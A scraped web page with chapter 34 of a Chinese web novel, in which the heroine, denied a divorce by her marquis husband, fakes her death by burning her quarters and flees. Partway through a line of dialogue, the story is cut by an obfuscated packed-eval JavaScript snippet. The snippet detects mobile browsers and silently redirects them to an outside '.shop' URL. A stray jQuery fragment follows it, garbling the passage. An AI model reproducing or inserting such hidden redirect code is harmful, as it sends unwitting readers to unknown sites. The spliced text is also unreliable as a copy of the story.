文趣网 > 其他小说 > 侯爷死去的白月光是我 > 34. 离开
    梅逢蕴自那日同宋藉把一切都说开后,就在也没在院子里见到宋藉了。

    她没什么失落,现在这一切她在决定与宋藉撕破脸皮时也早就考虑到了,可令她费劲的是宋藉不愿给她一封休书,也不愿放她离开。

    她就成天窝在了屋里,连外面的人都不想见,时不时就让秋霜去给她那些桂花酒来,整日喝得醉生梦死的,像是在不断地试探宋藉的底线。

    可梅逢蕴真的太痛苦了,只有喝下酒才会让她稍微缓解一下。

    乔真那边真的熬不住了,一大早上就匆匆来了侯府,前些日子有人去告诉她以后不用往侯府送了。

    她那时忙着处理纠纷分身乏术,现下她扛不住了,想找梅逢蕴来商量商量解决方法。

    乔真只觉氛围有些怪异,以前见到她就会笑嘻嘻的秋霜此刻褪去了青涩的面容,竟活生生生出一种麻木感来,她打算的见到梅逢蕴的时候问问最近究竟发生了什么。

    可等她进来主屋,梅逢蕴坐在地上,背靠在软榻边上,身边摆满了歪七扭八的酒壶,她脸上晕了层红,怀里还抱着酒壶,与之前大相径庭。

    乔真回头看了看秋霜,秋霜这才过去轻轻地喊梅逢蕴,梅逢蕴喝得不省人事,见到了乔真摇摇晃晃地,一下子冲过来一把抱住她,嘴里还在呢喃的喊着“娘亲”。

    乔真身子微僵,在她的印象中,梅逢蕴不该是这种样子,可她为何变成这副样子,她不是高高在上、风光无限的侯府夫人吗?

    怎么会成这副样子?

    她伸手抱住了憔悴不堪的梅逢蕴,沉着地吩咐秋霜去厨房拿碗醒酒汤。

    秋霜这几日在府上就听到有人传梅逢蕴得了失心疯,她听到想冲上去同那谣传的奴婢理论,可想到了如今只会整日买醉却无路可走的梅逢蕴,还是选择了忍让。

    此时此刻若是罗迷蝶当真发难,受苦的只会是梅逢蕴。

    等梅逢蕴喝了醒酒汤,意识清明不少后,见到了乔真,生出了些局促与难堪。

    “小真,你怎么来了,最近你那边还好吗?”梅逢蕴弯腰拾起酒壶,伸手碰了碰有些发胀的脑子,恍若之前喝下去的酒全都灌进了脑中,还在有些迷迷糊糊的。

    “逢蕴姐姐,这是发生了什么?你怎么会成这个样子呀!”乔真忙过去跟着她一起捡酒壶,还是忍不住开口问了。

    在得知梅逢蕴腹中的孩子没了,而罪魁祸首就是美名在外的宋藉时,乔真仅仅用一瞬间就接受了。

    在她看来像宋藉这种家世底蕴,想来培养出的人皆是品行优良,德才兼备之人。

    可如今听了梅逢蕴的遭遇,还是忍不住感叹一句:“这高官世家总是有些见不得光却又捂的紧紧的丑事!”

    在乔真问她接下来有何打算时,梅逢蕴说想要宋藉给自己一封休书,得到的却是那句“我宋常惜只有丧妻,不会休妻。”

    乔真听见这话与秋霜一样捂住了嘴巴,她完全不敢相信,这会从宋藉口中说出的话,秋霜倒没她那么惊讶。

    毕竟跟在了梅逢蕴身边久了,宋藉的自私、虚伪的秉性她早就知道了些。

    乔真从这话中解读出:“逢蕴姐姐,侯爷他的意思是:如果你要摆脱这个头衔就只有死路一条,甚至当他想换个人来当侯府主母时,你也难逃一死。”

    三人凑在一起一副恍然大悟的样子,各人想的天差地别。

    梅逢蕴:若是我“死”了,那就能逃离宋藉了。

    秋霜:侯爷心思竟如此歹毒,他宁愿要主母的命,也不愿放她离开。

    乔真:这表面恩爱有加的夫妻竟然存了杀心,逢蕴姐姐断不能留在侯府了。现在侯爷还需要梅逢蕴这个侯夫人,若是以后嫌她是累赘,也不会手下留情留她一命的。

    “逃!”三人异口同声地说出这句话。

    梅逢蕴打心底是不想将秋霜牵扯进来的,她自小就跟在自己身边,吃了不少苦头,以后她逃出去后,一个人漂泊无依,只会过苦日子。

    她将秋霜支出去买点心去,秋霜难得见梅逢蕴胃口如此好,没多想,就去照做了。

    门扇才合起来,梅逢蕴就跪在地上,乔真被吓了一跳,忙跟着跪下,着急忙慌问:“逢蕴姐姐,你这是在做什么?快起来。”

    梅逢蕴的手死死地抓住了乔真的手,冲她摇了摇头,小声地请求:“小真,你听我说,我想到了一个法子,绝对能逃离了侯府了,但这件事不能让秋霜知道,你应该能懂我吧?小真,我自小是梅府的庶女,处处不受重视被欺负。

    秋霜同我年岁相当,那时还处处挡在我身前,她受到的刁难肯定比我只多不少,如今我孤身一人四处飘零,连命都不知道能不能保住,还望你能护一护秋霜。”

    乔真眼角早就盈满热泪,这些年她为了稳住父亲的那个微末官职,处处低眉睡眼看人眼色,走到如今地位实在时不容易。

    “好,逢蕴姐姐,我会照顾好秋霜的,你若能逃的出去,你一定要好好活着,等你安顿好了给我写信,我一定去找你,好不好?”

    梅逢蕴仔细的问了问乔真的铺子情况如何,乔真这次全盘托出,说快要撑不住了,梅逢蕴一听她对那位少爷的描述,立马就浮现了罗杰的那张脸。

    罗杰是罗迷蝶的亲弟弟,没有搬进侯府住着,但这次年仗着宋藉的名头收敛钱财之事应不在少数。

    梅逢蕴如今指望不了宋藉了,她跑到案板上提笔修书一封,将书信塞进了乔真的手里,对她说,去三皇子府找萧瑾,三皇子会帮她的。

    乔真瞬间觉得手里的书信千金重,三皇子这些人她平日是连照面都见不到的,可如今梅逢蕴为了解她困境,竟然去动用她的关系。

    两人互道了保重后,梅逢蕴趁秋霜还没回来时,又提笔写了封信。

    给宋藉的。

    等秋霜拎着点心回来时,梅逢蕴却邀请秋霜一起去看那处没命名的宅院。

    可等到了售房行,点名道姓的要找那位给她房契的张开时,却被老板告知他不是售房行的伙计,还不负责任地警告她们若是被骗了,就乖乖去报官去,别在这里打搅他做生意。

    可梅逢蕴咽不下这口气,明明张开就是售房行的活计,况且她还有房契在手呢!

    她这辈子腰杆子都没怎么直起来过,现在明明就是被人的错,为什么要她闷声当这个大冤头呢!

    “掌柜的,我有房契你也不认吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808186|208403||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”梅逢蕴将房契拍在了那浑身长满肥肉,眯眯眼的掌柜眼前,妄图在同他好好讲理。

    “这位夫人,瞧您穿着也是富贵人家,总不至于要拿着一张伪造出来的房契就想让我这等无权无势的小老百姓担下您的亏损吧?”

    大堂内的人都往这边围过来看戏,大家心里都清楚那个掌柜是什么为人,都纷纷在这等着看戏。

    梅逢蕴一把将房契收回,还是离开了,她怕这件事闹大了,把宋藉招来了,倒到时又为宋家丢了脸面。

    等到了一旁,梅逢蕴就将那团废纸丢弃掉,秋霜跟在她身后,将那房契又收起来,她从未觉得梅逢蕴软弱过,她不过是在这世道上艰难求生罢了。

    秋霜将她走过的路全都看在眼里,自然是能懂她的选择。

    梅逢蕴就这样慢慢晃悠,思索最近发生的事,好像都没件好事,是怪她生性懦弱还是太过权衡利弊呢?

    以至于让自己这般一无所有。

    梅逢蕴刚到了竹衫院就给秋霜塞了封书信,说让她贴身拿着等明日一定要亲手交到宋藉的手中。

    她还给秋霜叮嘱了几句话:“秋霜,若是以后我不在了,你不愿待在侯府的话,就去投奔小真,你要同她互相帮扶,日子熬熬总是能过下去的。”

    本来想将那处宅院留给秋霜,如今真是一无所有,她将自己的梳妆匣子都一股脑塞给了秋霜。

    秋霜敏锐地察觉出不对劲来,忙追问:“主母,我们是要离开侯府了吗?你怎么好像临行前交代后事一般?”

    梅逢蕴捏了捏她的鼻子,佯装不开心道:“我只是想的比较周到而已,盼你小姐我点好吗?”

    秋霜顺着梅逢蕴手上的动作摆了摆头,连忙笑着说:“是是是,我家小姐呀!自是要长命百岁的。”

    “秋霜也要陪着我长命百岁。”

    当夜戌时,秋霜都要伺候梅逢蕴安寝了,梅逢蕴却突发奇想地说要吃城西八宝斋家的八宝饭,秋霜乐呵呵地就跑去买了。

    秋霜前脚刚走,一个拉泔水桶子的杂役何宽过来,递给了梅逢蕴一身衣服,说是她的衣服太过显眼了。

    等会出去还是要低调一点,其余的奴婢仆从均被梅逢蕴打发去忙活了,整个竹衫院只有留有她一人。

    趁她换衣服的间隙,何宽早就将屋子外围都撒了圈火油,等会烧起来才会连绵不绝,梅逢蕴出来后,何宽又问:“夫人,可还有什么东西要带走的?”

    梅逢蕴方才在屋中寻觅了半天,就是找不到宋藉送她的那块琥珀,找不到也就只能这样算了,她就像刚到这府上一样,一个人来,也要一个人走了。

    “没了,叫我梅逢蕴吧,以后不再有夫人了。”

    梅逢蕴在看了一眼这片生活了六七个月的“家”,心中满是思绪,可到嘴边,却是再无一个字。

    何宽扭开了火折子,轻吹一下,窜起来火苗,送到了梅逢蕴手边说:“小姐,这挣脱束缚,走向自由的第一把火,还是由你来吧?”

    梅逢蕴接过火折子,往主屋那一丢,落在了火油上,猛地窜出滔天大火,迅速将主屋吞噬。

    宋常惜,再见!

    我们以后再也不见!